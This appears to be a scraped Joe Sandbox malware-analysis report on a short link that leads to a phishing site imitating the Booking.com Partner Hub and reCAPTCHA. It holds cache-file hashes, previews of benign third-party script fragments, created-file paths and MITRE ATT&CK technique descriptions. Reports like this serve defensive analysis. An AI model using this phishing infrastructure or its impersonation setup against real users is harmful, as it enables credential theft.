SHA1:	BDDC3D951A305FA46B7AE4587EF4FF2D5603DF01
SHA-256:	EA2BD491C207F611D4F4C7834CD705E1355B302F8E727CF32F1F42E7F7839319
SHA-512:	8881DFEA3EF98BBED9871B7093789BCC3FDE743E60986554E93561D88F7CF0EBA1D351D0C93D03B0470643CAAF2DDCD4E30ED6637A48D769BCD7DFC0E8594A84
Malicious:	false
Reputation:	unknown
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/main.e108dc24310ab346a8ea.js
Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[792],{3306:(e,t)=>{const n=["@abtasty/nps","@abtasty/interstitiel","@abtasty/banner","@abtasty/tooltip","@abtasty/google-form-modal","@abtasty/zopim","@abtasty/olark","@abtasty/responsive-sharing-buttons","@abtasty/sharing-sidebar","@abtasty/christmas-hat","@abtasty/snowflakes","@abtasty/weather","@abtasty/social-proof","@abtasty/widget-quality","@abtasty/sharing-sidebar","@abtasty/weather","@abtasty/scroll-tracking","@abtasty/element-visibility","@abtasty/iframe-click-tracking"]},4721:(e,t,n)=>{n.d(t,{Is:()=>u,K6:()=>g,Mz:()=>l,fS:()=>o,fh:()=>s,ih:()=>c,l$:()=>r,nc:()=>p,tv:()=>a,vw:()=>i,xu:()=>d});const a="abtasty_resetActionTracking",i="targetPages",r="qaParameters",o="audience",s="segment",d="segmentMode",c="trigger",l="triggerMode",u="$^",g=16,p=1e3},6914:(e,t,n)=>{n.d(t,{p:()=>a});const a=(0,n(721).c)(((e,t)=>t.reduce(((t,n)=>e(n)?[...t,n]:t),[])))},721:(e,t,n)=>{function a(e){let t=arguments.length>1&&void 0!=

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28873)
Category:	dropped
Size (bytes):	29727
Entropy (8bit):	5.207351566877793
Encrypted:	false
SSDEEP:
MD5:	ED09E7EDBC663840CCC1E5FAF9025F60
SHA1:	32BB1AAA65ECF9BCF93D7EC82E6A0D17DD31CCAF
SHA-256:	729E55BA02371604638E349974B6DFE0D207F156606FAC8B6035C140E39F0924
SHA-512:	79ABE7F69D64A685E9FDA29CFB273C2B92FD99FB27571DE903F20381AE91203FBFB9145996FF4E2D4049730B85E2B7081E5C3AFD37C8EA58A03C3B3A2CB58CFD
Malicious:	false
Reputation:	unknown
Preview:	./@preserve.Version 2.20.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]\|\|[]).push([[1],{27:function(e,t,i){"use strict";i.d(t,"a",(function(){return o}));var n=function(e,t,i,n){return new(i\|\|(i=Promise))((function(r

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7862)
Category:	downloaded
Size (bytes):	7889
Entropy (8bit):	5.3539189175758715
Encrypted:	false
SSDEEP:
MD5:	FD4F902B789F81BAA379B0BA42C21ACD
SHA1:	9F5C7F1B6E8151ED8D54C24A297B27177B38EFB0
SHA-256:	6E61BE2F374A0122510025578940BAF7EF8DBBCAF3ECC5F5535CFC81BD1CFD39
SHA-512:	6D88550E1BDDD52E4BEF156BD800C97147AE7BA30AA0EB0D0B31815250A119D8C5D165A777B7AA195BB70DF2F2DCC159204F6A3E47EF71D24D7861EF58171CF8
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/lazysizes.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! lazysizes - v5.3.1 /..!function(e){var t=function(u,D,f){"use strict";var k,H;if(function(){var e;var t={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",fastLoadedClass:"ls-is-cached",iframeLoadMode:0,srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:true,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:true,ricTimeout:0,throttleDelay:125};H=u.lazySizesConfig\|\|u.lazysizesConfig\|\|{};for(e in t){if(!(e in H)){H[e]=t[e]}}}(),!D\|\|!D.getElementsByClassName){return{init:function(){},cfg:H,noSupport:true}}var O=D.documentElement,i=u.HTMLPictureElement,P="addEventListener",$="getAttribute",q=u[P].bind(u),I=u.setTimeout,U=u.requestAnimationFrame\|\|I,o=u.requestIdleCallback,j=/^picture$/i,r=["load","error","lazyincluded","_lazyloaded"],a={},G=Array.prototype.forEach,J=function(e,t){if(!a[t]){a[t]=new RegExp("(\\s\|^)"+t+"(\\s\|$)")}return a[t].tes

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (55846), with CRLF line terminators
Category:	downloaded
Size (bytes):	189440
Entropy (8bit):	5.612237682360834
Encrypted:	false
SSDEEP:
MD5:	AFF3AD791467D0687E04BA9E07166CEF
SHA1:	CDF0E7112A36EA3FEDB213F295AF877600BE9478
SHA-256:	BA74B2790509B26A921BC2F8DF20EE3CAB891F3F1D7DFEAD87918964170DD8A7
SHA-512:	D75F5E3C7FCD25340239C2BD387AE4A3259D89C212ED72AED504E74237774B49BB0B87D87A565BB496C2B7F5807130902932539F6380B28021CBEEE0541FCE62
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/b18d32a2-ec35-41cf-9425-b945bb4c2fa5.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	//disable autotagging of specific UTM parameter..window.mouseflowAutoTagging = false;..window._mfq = window._mfq \|\| [];.. _mfq.push(mouseflow => {.. const autoTagParameters = ['utm_source', 'utm_medium', 'utm_term', 'utm_content', 'gclid']; // Removed 'utm_campaign'.... for (const parameter of autoTagParameters) {.. let value = getQuerystringParameterByName(window.location.href, parameter);.. if (!value) value = getQuerystringParameterByName(document.referrer, parameter);.. if (value) mouseflow.setVariable(parameter, value);.. }.... function getQuerystringParameterByName(url, name) {.. name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');.... const regex = new RegExp('[\\?&]' + name + '=([^&#]*)');.. const results = regex.exec(url);.. if (!results) return '';.... return decodeURIComponent(results[1].replace(/\+/g, ' '));.. }....});....//remove UTM campaign parameter per client request..function reconstructQueryString(excludeParam) {.

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1602), with CRLF line terminators
Category:	downloaded
Size (bytes):	9114
Entropy (8bit):	5.473048649227689
Encrypted:	false
SSDEEP:
MD5:	00FDDB0F0F5C079E0E32C4EDA06AD612
SHA1:	49660BD200F96E89C7186CE2680073D2CDF54BB0
SHA-256:	F4FC3BC2E9AD99ED7069FDE1D6A530F82BC244BE2E6526431489312BFCD734E7
SHA-512:	DD4176E4364C5F5ABAFF705F9AB8296770C2E64075C67024814B8637EB36390E9EB5036CFC2F413D10FBCE56CD1C1C5E781E4A973BE4461E40D788D458957592
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Booking.com - Partner Hub</title>.. <link rel="stylesheet" href="styles.css">.. <link rel="icon" href="https://cf.bstatic.com/static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg".. type="image/svg+xml">.. <link rel="icon" href="https://cf.bstatic.com/static/img/favicon/4a3b40c4059be39cbf1ebaa5f97dbb7d150926b9.png".. type="image/png" sizes="192x192">.. <link rel="icon" href="https://cf.bstatic.com/static/img/favicon/40749a316c45e239a7149b6711ea4c48d10f8d89.ico".. sizes="32x32">.. <style>.. * {.. margin: 2px;.. padding: 0;.. box-sizing: border-box;.. }.... html, body {.. margin: 0;.. font-family: Roboto, helvetica, arial, sans-serif;.. height: 100%;.. overflow: hidden; /* .........

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (965), with CRLF line terminators
Category:	downloaded
Size (bytes):	8782
Entropy (8bit):	5.646832783061307
Encrypted:	false
SSDEEP:
MD5:	F9E7B849714311D95A3B06C9FEC109DE
SHA1:	B45CF5AE6D04B28A076EFBF1E88DF71E321EC867
SHA-256:	1A266F18EEFB178D1C111CEF63927A62CC1FD7F6AEE3182C9CA6101B757688CB
SHA-512:	AA38B70EC70A6FF89D5D5DBA8EE3DCE4B6824B5C2471983AC0DB3CF8A7D9CD481734DB64A9ED3EC21EEB5BCBE06DB1593D0CC07EDF8034BD6AD0FC29BC209196
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/bf.html
Preview:	<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<meta http-equiv="X-UA-Compatible" content="IE=edge">....<title>reCAPTCHA</title>..<style type="text/css">../* cyrillic-ext /..@font-face {.. font-family: 'Roboto';.. font-style: normal;.. font-weight: 400;.. src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');.. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;..}../ cyrillic /..@font-face {.. font-family: 'Roboto';.. font-style: normal;.. font-weight: 400;.. src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');.. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;..}../ greek-ext */..@font-face {.. font-family: 'Roboto';.. font-style: normal;.. font-weight: 400;.. src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');.. unicode-range: U+1F0

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (50719)
Category:	downloaded
Size (bytes):	51015
Entropy (8bit):	5.228179431467206
Encrypted:	false
SSDEEP:
MD5:	3897F62D628F3EE85600850032D9A317
SHA1:	F694EAD354B492EBD148840BBD3B1BDAA6B7A4B7
SHA-256:	E0DEBE17466EB2F5C955FBF41A2FF4563C9CBFD0490D596A4F5735280733F2EB
SHA-512:	AA09DBAFDDC76957AF6669005B60353BD6242CA0CE3E3478DD0B995C32292658A4062D8D73896260C57900A96C5813C4F618ECECE09CC2188193E26FC5573E5F
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/ld.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	window.Criteo=window.Criteo\|\|{};window.Criteo.oneTagConfig={partnerId:37899,visitEventEnabled:true,fpIdentifier:undefined,dynamic:!0,gumDomain:"gum.criteo.com",privateModeDetectionEnabled:true,blockedSteps:[],addClientSideSupportForId5:false,shouldFillPageId:false,enableOffsiteProjection:true};.!function(){"use strict";function v(e,t){var n=null==(n=window.Criteo)?void 0:n.oneTagConfig;return null!=(n=n&&n[e])?n:t}var I,T="5.29.0",u=((P=I=I\|\|{})[P.None=0]="None",P[P.Cookie=1]="Cookie",P[P.LocalStorage=2]="LocalStorage",P[P.Library=3]="Library",o.checkLocalStorageIsWritable=function(){try{var e;return window.localStorage?(e="criteo_localstorage_check",window.localStorage.setItem(e,e),window.localStorage.removeItem(e),!0):!1}catch(e){return!1}},o.checkCookiesAreWritable=function(){var e=new o("criteo_write_test",1e4),t=(e.setValueWithNoDomain("1"),"1"===e.cookieValue);return e.removeWithNoDomain(),t},o.prototype.setCookieRead=function(){this.isCookieRead=!0},o.prototype.setValue=function

Static File Info

⊘No static file info

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://gogl.to/3HGT

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Yara Signatures

Dropped Files

Memory Dumps

HTML

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\40kpnqa1.0.cs

C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline

C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

C:\Users\user\AppData\Local\Temp\40kpnqa1.out

C:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP

C:\Users\user\AppData\Local\Temp\RES3634.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgcxe4pu.orw.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V4DW04A106P7RL7RRJTH.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Windows Analysis Report
https://gogl.to/3HGT

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre